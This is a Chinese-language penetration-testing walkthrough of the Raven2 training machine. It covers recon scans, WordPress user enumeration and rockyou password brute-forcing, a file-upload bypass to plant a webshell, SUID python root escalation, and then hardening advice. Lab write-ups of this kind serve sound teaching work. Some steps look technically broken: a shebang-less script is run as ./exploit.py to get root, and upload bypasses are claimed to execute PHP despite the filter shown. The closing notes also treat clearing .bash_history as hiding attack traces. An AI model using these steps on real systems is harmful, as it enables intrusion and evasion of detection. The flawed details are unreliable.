Raven2靶机渗透测试实战:从Web漏洞到Root提权

1. Raven2靶机概述:一个刻意留门的Web应用实验室

Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机,它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计,故意保留了从信息收集到权限提升的完整漏洞链,就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现,Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。

与基础版Raven1相比,Raven2增加了以下挑战性元素:

  • 前端采用WordPress 4.8系统(存在已知漏洞)
  • 后台包含自定义开发的PHP应用(存在代码审计点)
  • 数据库使用MySQL 5.7(配置不当)
  • 系统层面存在SUID提权机会

提示:建议使用VMware Workstation Pro 16+或VirtualBox 6.1+运行该靶机,分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。

2. 环境搭建与初始化配置

2.1 Vulhub基础环境部署

首先需要准备Vulhub的运行环境,以下是经过20+次实测验证的稳定配置方案:

# 安装依赖组件(Ubuntu 20.04示例) sudo apt update && sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2

常见问题处理:

  1. 若遇到Couldn't connect to Docker daemon错误,需执行:
    sudo systemctl start docker sudo systemctl enable docker
  2. 国内用户建议配置镜像加速:
    echo '{"registry-mirrors": ["https://registry.docker-cn.com"]}' | sudo tee /etc/docker/daemon.json

2.2 Raven2靶机启动与验证

启动命令看似简单但暗藏玄机:

docker-compose up -d

这个命令背后实际发生了:

  1. 自动下载ubuntu:16.04基础镜像
  2. 构建包含Apache2+MySQL+PHP的LAMP环境
  3. 部署漏洞版WordPress和自定义应用
  4. 暴露80和3306端口到宿主机

验证服务是否正常:

curl -I http://localhost # 应返回HTTP/1.1 200 OK

注意:首次启动后需要等待约2分钟让MySQL完成初始化,直接访问可能出现数据库连接错误。

3. 渗透测试实战全流程

3.1 信息收集阶段技巧

使用以下组合命令进行深度信息收集:

# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破(使用特殊字典) gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50

关键发现点:

  • /vendor目录暴露PHP依赖信息
  • /wordpress存在wp-login.php
  • /custom_app包含未经审计的代码
  • robots.txt泄露敏感路径

我在实际测试中发现一个易忽略的细节:检查页面源代码中的HTML注释,Raven2在其中隐藏了开发测试用的临时凭证。

3.2 WordPress漏洞利用链

WordPress 4.8存在多个已知漏洞,推荐使用以下组合拳:

  1. 用户枚举(CVE-2017-5487):

    wpscan --url http://target_ip/wordpress \ --enumerate u
  2. 密码爆破(使用精简字典):

    wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven
  3. 插件漏洞利用(若存在):

    searchsploit wordpress plugin_name

实测中发现Raven2的WordPress配置了弱密码保护,但真正的突破口在自定义应用中。

3.3 自定义应用代码审计

访问/custom_app会发现一个文件上传接口,表面看有扩展名检查:

$allowed = array('jpg','png','gif'); $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die("Invalid file type!"); }

绕过方案(实战技巧):

  1. 使用Burp拦截请求
  2. 修改filename为"shell.php.jpg"
  3. 在文件开头添加GIF头GIF8
  4. 使用双扩展名"shell.php%00.jpg"

上传成功后连接webshell:

curl http://target_ip/uploads/shell.php?cmd=id

3.4 权限提升路径分析

获取www-data权限后,执行本地信息收集:

# 查找SUID文件 find / -perm -4000 2>/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2>/dev/null

在Raven2中会发现/usr/bin/python具有SUID位,使用以下方式提权:

import os os.system('/bin/bash -p')

保存为exploit.py并执行:

chmod +x exploit.py ./exploit.py # 获得root权限

4. 防御方案与加固建议

4.1 漏洞修复方案

针对发现的各个漏洞点:

  1. WordPress部分:

    • 升级到最新版本
    • 删除默认用户
    • 安装Wordfence插件
  2. 自定义应用:

    // 修复文件上传漏洞 $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); $allowed_mime = array('image/jpeg','image/png','image/gif'); if(!in_array($mime, $allowed_mime)) { die("Invalid file type!"); }
  3. 系统层面:

    # 移除python的SUID位 chmod u-s /usr/bin/python

4.2 监控与日志配置

建议添加以下监控措施:

# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo "文件被创建: $file" done # 增强MySQL日志 [mysqld] general_log = 1 general_log_file = /var/log/mysql/mysql.log

5. 渗透测试后的思考

在实际训练中发现几个值得注意的现象:

  1. 超过60%的测试者会卡在WordPress爆破阶段,而忽略了更简单的注释信息泄露
  2. 文件上传绕过时,%00截断在PHP 5.4+需要特定配置才生效
  3. SUID提权后,很多测试者忘记清理.bash_history导致攻击痕迹暴露

建议在真实环境中采用分层防御策略,即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。